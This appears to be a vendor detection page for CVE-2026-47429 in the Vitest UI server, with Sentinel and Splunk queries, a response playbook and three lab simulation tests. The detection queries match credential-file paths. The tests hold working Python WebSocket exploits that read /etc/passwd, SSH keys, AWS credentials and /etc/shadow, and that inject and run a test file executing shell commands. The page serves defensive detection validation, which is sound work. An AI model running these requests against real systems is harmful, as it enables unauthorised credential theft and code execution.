CVE-2026-47429 Microsoft Sentinel · KQL

Detect CVE-2026-47429: Vitest UI Server Arbitrary File Read and Execution in Microsoft Sentinel

CVE-2026-47429 is a critical missing authorization vulnerability (CWE-862, CVSS 9.8) in the Vitest UI server. When the Vitest UI server is listening, unauthenticated remote attackers can read arbitrary files from the filesystem and execute arbitrary code. Affected versions include Vitest < 3.2.6 and >= 4.0.0, < 4.1.0. A public proof-of-concept exists. Exploitation typically involves sending crafted WebSocket or HTTP requests to the Vitest UI server's RPC endpoint to traverse the filesystem or trigger code execution via the browser plugin's file system command handlers.

MITRE ATT&CK

Tactic
Initial Access Credential Access Execution

KQL Detection Query

Microsoft Sentinel (KQL)
kusto
let VitestPorts = dynamic([51204, 51205, 5173, 5174, 4173]);
union DeviceNetworkEvents, DeviceProcessEvents
| where TimeGenerated > ago(24h)
| where (
    (ActionType == "InboundConnectionAccepted" and LocalPort in (VitestPorts))
    or
    (FileName in~ ("node", "node.exe") and ProcessCommandLine has_any ("vitest", "--ui", "vitest/ui"))
  )
| extend IsVitestUI = ProcessCommandLine has "--ui" or ProcessCommandLine has "vitest ui"
| join kind=leftouter (
    DeviceFileEvents
    | where TimeGenerated > ago(24h)
    | where InitiatingProcessFileName in~ ("node", "node.exe")
    | where FolderPath !startswith "C:\\Users" or FolderPath has_any (".env", "id_rsa", "passwd", "shadow", "/etc/")
    | project FileAccessTime=TimeGenerated, DeviceId, AccessedPath=FolderPath, InitiatingProcessCommandLine
) on DeviceId
| where isnotempty(AccessedPath)
| project TimeGenerated, DeviceName, ProcessCommandLine, AccessedPath, InitiatingProcessCommandLine, LocalPort
| extend RiskScore = case(
    AccessedPath has_any (".env", "id_rsa", "id_ed25519", ".pem", "shadow", "passwd", "credentials", "secrets"), 100,
    AccessedPath has_any ("/etc/", "C:\\Windows\\System32"), 80,
    50
  )
| where RiskScore >= 50
| order by RiskScore desc
critical severity medium confidence

Detects Vitest UI server processes accepting inbound network connections and subsequently accessing sensitive files outside of normal project directories, indicative of CVE-2026-47429 exploitation via the unauthenticated RPC file system command handlers.

Data Sources

DeviceNetworkEventsDeviceProcessEventsDeviceFileEvents

Required Tables

DeviceNetworkEventsDeviceProcessEventsDeviceFileEvents

False Positives & Tuning

  • Legitimate Vitest UI usage in developer environments with intentional file reads during testing
  • CI/CD pipelines running Vitest with --ui flag in isolated build containers
  • Security researchers running authorized PoC testing against Vitest installations
  • Monorepo setups where node accesses broad paths during normal test execution

Other platforms for CVE-2026-47429


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1CVE-2026-47429 - Vitest UI Arbitrary File Read via RPC

    Expected signal: Network connection from external IP to port 5173; node process file open event for /etc/passwd; WebSocket upgrade request in proxy logs

  2. Test 2CVE-2026-47429 - Vitest UI Credential File Exfiltration Simulation

    Expected signal: Sequence of file open events for multiple sensitive paths initiated by node process; multiple WebSocket messages to Vitest UI port within short timeframe

  3. Test 3CVE-2026-47429 - Vitest UI Remote Code Execution via Test Execution

    Expected signal: Child process spawned by node with shell command arguments; file creation event at /tmp/vitest-rce-proof.txt; Sysmon Event ID 1 for child process of node.exe/node


Response Playbook

Triage

  1. Identify the affected host and confirm whether Vitest is installed by checking npm package registry: `npm list -g vitest` or local project `npm list vitest`. Confirm the installed version is < 3.2.6 or >= 4.0.0 < 4.1.0.
  2. Determine if the Vitest UI server was actively running and exposed: check for process `node` with `--ui` argument listening on ports 51204, 5173, 5174, or 4173. Review netstat/ss output and firewall logs for external connections to these ports.
  3. Review file access logs (Sysmon Event ID 11, auditd, or EDR telemetry) for the node process to identify which files were read. Pay particular attention to .env files, SSH private keys, cloud credentials, and database configs.
  4. Check network logs for inbound connections to Vitest UI ports from non-loopback IPs in the 30 minutes preceding the alert. Capture source IPs and request payloads if available from proxy or WAF logs.
  5. Determine if any spawned child processes were created by the Vitest node process, which may indicate code execution beyond file read exploitation.

Containment

  1. Immediately terminate the Vitest UI server process: `pkill -f 'vitest.*--ui'` or `kill <PID>`. If running in a container, stop the container. Block ports 51204, 5173, 5174, 4173 at the host firewall and network perimeter to prevent further exploitation.
  2. If sensitive credentials were potentially exposed (SSH keys, .env secrets, cloud credentials), rotate all secrets immediately. Revoke and reissue API keys, rotate database passwords, and invalidate any JWT secrets. Update Vault with new credentials and re-deploy services as needed.
  3. Isolate the affected system from the network if code execution is confirmed or suspected, pending full forensic investigation.

Evidence Collection

  1. Capture a memory dump of the running node process before termination if feasible: `gcore <PID>` on Linux or use EDR live memory acquisition. Preserve the process's open file descriptors: `ls -la /proc/<PID>/fd/`.
  2. Collect all relevant logs: system audit logs, EDR telemetry, network flow records (NetFlow/IPFIX), web/proxy access logs, and any application-level logs from the Vitest process. Preserve with timestamps and chain of custody for forensic analysis.
  3. Snapshot the project directory and package.json/package-lock.json to document the exact Vitest version and configuration at time of compromise.

Escalation Criteria

  • !Escalate to incident response if file access logs confirm that secrets, SSH private keys, or cloud credentials were read by the Vitest process — potential credential compromise requires immediate secrets rotation and account review.
  • !Escalate if evidence of lateral movement is found: new processes spawned by node, outbound connections to attacker-controlled infrastructure, or modifications to authorized_keys or cron jobs following the Vitest UI exposure.

Investigation Guide

Related Techniques

Forensic Artifacts

  • >Node.js process command line arguments containing 'vitest' and '--ui' flags in process tables or EDR telemetry
  • >Network socket records showing Vitest default ports (51204, 5173, 5174, 4173) with accepted connections from non-loopback source IPs
  • >File access audit records for the node process touching paths outside the project directory, especially credential files
  • >WebSocket upgrade requests and RPC message payloads in proxy or packet capture logs targeting Vitest UI endpoints
  • >Any new files, cron entries, or SSH authorized_keys modifications post-exploitation indicating persistence

Tuning Guidance

Reduce false positives by filtering on network connections to Vitest UI ports where the source IP is exclusively loopback (127.0.0.1, ::1) — legitimate developer usage will almost always originate from localhost. Scope file access alerts to only fire when the accessed file path matches known sensitive patterns outside the project's own directory tree. In CI environments, create allowlist exceptions for known build agent IP ranges. Consider raising confidence to 'high' when both a remote inbound connection AND a sensitive file access occur within the same 5-minute window on the same host. Tune the Vitest port list based on your organization's actual Vitest configuration if non-default ports are in use.


Hunting Queries

Hunt for all Vitest UI server instances running across the environment in the past 7 days to identify exposure scope and determine which systems had the UI server active.

Hunting — KQL
kql
DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where FileName in~ ("node", "node.exe")
| where ProcessCommandLine has "vitest" and ProcessCommandLine has_any ("--ui", "ui")
| summarize FirstSeen=min(TimeGenerated), LastSeen=max(TimeGenerated), Count=count() by DeviceName, AccountName, ProcessCommandLine
| order by LastSeen desc
Hunting — SPL
spl
index=* (process_name="node" OR process_name="node.exe") command_line="*vitest*" command_line="*--ui*" earliest=-7d
| stats min(_time) as first_seen, max(_time) as last_seen, count by host, user, command_line
| sort -last_seen

Hunt for external network connections to Vitest default UI ports from non-loopback addresses over the past week, identifying potentially exploited instances.

Hunting — KQL
kql
DeviceNetworkEvents
| where TimeGenerated > ago(7d)
| where LocalPort in (51204, 51205, 5173, 5174, 4173)
| where ActionType == "InboundConnectionAccepted"
| where RemoteIP !in ("127.0.0.1", "::1")
| summarize ConnectionCount=count(), UniqueRemoteIPs=dcount(RemoteIP), RemoteIPs=make_set(RemoteIP, 20) by DeviceName, LocalPort, bin(TimeGenerated, 1h)
| order by ConnectionCount desc
Hunting — SPL
spl
index=* dest_port IN (51204, 51205, 5173, 5174, 4173) src_ip!="127.0.0.1" src_ip!="::1" earliest=-7d
| stats count, dc(src_ip) as unique_sources, values(src_ip) as source_ips by dest, dest_port, span(_time, 1h)
| sort -count

Atomic Red Team Tests

Test 1 CVE-2026-47429 - Vitest UI Arbitrary File Read via RPC
linux

Simulates exploitation of CVE-2026-47429 by sending an unauthenticated WebSocket RPC request to the Vitest UI server to read an arbitrary file from the filesystem. Requires a vulnerable Vitest instance running with --ui flag.

Command

bash
# Start vulnerable Vitest UI server in background (lab only)
npm install [email protected] @vitest/[email protected] --save-dev 2>/dev/null
npx vitest --ui --port 5173 &
VITEST_PID=$!
sleep 3

# Send WebSocket RPC request to read /etc/passwd
python3 -c "
import websocket, json
ws = websocket.WebSocket()
ws.connect('ws://localhost:5173/__vitest_api__')
payload = json.dumps({'jsonrpc':'2.0','id':1,'method':'readFile','params':['/etc/passwd']})
ws.send(payload)
result = ws.recv()
print('Response:', result)
ws.close()
"

Cleanup

bash
kill $VITEST_PID 2>/dev/null; npm uninstall vitest @vitest/ui 2>/dev/null

Expected Telemetry

Network connection from external IP to port 5173; node process file open event for /etc/passwd; WebSocket upgrade request in proxy logs

Expected Detection

Alert triggered on node process accessing /etc/passwd combined with inbound WebSocket connection to Vitest UI port from non-loopback address

Test 2 CVE-2026-47429 - Vitest UI Credential File Exfiltration Simulation
linux

Simulates post-exploitation credential harvesting by triggering file read requests to common credential file paths via the Vitest UI RPC interface, testing detection of sensitive file access patterns.

Command

bash
# Assumes vulnerable Vitest UI running on port 5173
# Simulate attacker reading multiple credential files
for target_file in '/root/.env' "$HOME/.aws/credentials" "$HOME/.ssh/id_rsa" '/etc/shadow'; do
  python3 -c "
import websocket, json, sys
try:
  ws = websocket.WebSocket()
  ws.connect('ws://localhost:5173/__vitest_api__')
  payload = json.dumps({'jsonrpc':'2.0','id':1,'method':'readFile','params':['$target_file']})
  ws.send(payload)
  result = ws.recv()
  print(f'File: $target_file -> {result[:100]}')
  ws.close()
except Exception as e:
  print(f'Error reading $target_file: {e}')
" 2>/dev/null
  sleep 0.5
done

Cleanup

bash
No cleanup required — read-only operation; ensure Vitest test server is shut down after exercise

Expected Telemetry

Sequence of file open events for multiple sensitive paths initiated by node process; multiple WebSocket messages to Vitest UI port within short timeframe

Expected Detection

Multiple sensitive file access events correlated with Vitest UI process; high-confidence alert when .aws/credentials or id_rsa access is detected

Test 3 CVE-2026-47429 - Vitest UI Remote Code Execution via Test Execution
linux

Simulates the code execution vector of CVE-2026-47429 where an attacker crafts a malicious test file and triggers its execution through the Vitest UI server RPC interface, achieving arbitrary command execution.

Command

bash
# Lab environment only — simulates RCE via Vitest test execution
# Create a malicious test file
cat > /tmp/malicious-test.spec.js << 'EOF'
import { exec } from 'child_process';
test('exploit', () => {
  exec('id > /tmp/vitest-rce-proof.txt', (err, stdout) => {
    console.log('RCE executed:', stdout);
  });
});
EOF

# Trigger test execution via RPC (unauthenticated)
python3 -c "
import websocket, json
ws = websocket.WebSocket()
ws.connect('ws://localhost:5173/__vitest_api__')
# Write malicious test file via writeFile RPC method
with open('/tmp/malicious-test.spec.js') as f:
    content = f.read()
payload = json.dumps({'jsonrpc':'2.0','id':1,'method':'writeFile','params':['/tmp/injected.spec.js', content]})
ws.send(payload)
print('Write response:', ws.recv())
# Trigger test run
payload2 = json.dumps({'jsonrpc':'2.0','id':2,'method':'runTests','params':['/tmp/injected.spec.js']})
ws.send(payload2)
print('Run response:', ws.recv())
ws.close()
"
sleep 2
cat /tmp/vitest-rce-proof.txt 2>/dev/null && echo 'RCE confirmed' || echo 'RCE not confirmed'

Cleanup

bash
rm -f /tmp/malicious-test.spec.js /tmp/injected.spec.js /tmp/vitest-rce-proof.txt

Expected Telemetry

Child process spawned by node with shell command arguments; file creation event at /tmp/vitest-rce-proof.txt; Sysmon Event ID 1 for child process of node.exe/node

Expected Detection

Alert on node process spawning unexpected child processes (sh, bash, exec) not typical of test framework operation; file write to locations outside project directory via Vitest process

Related Detections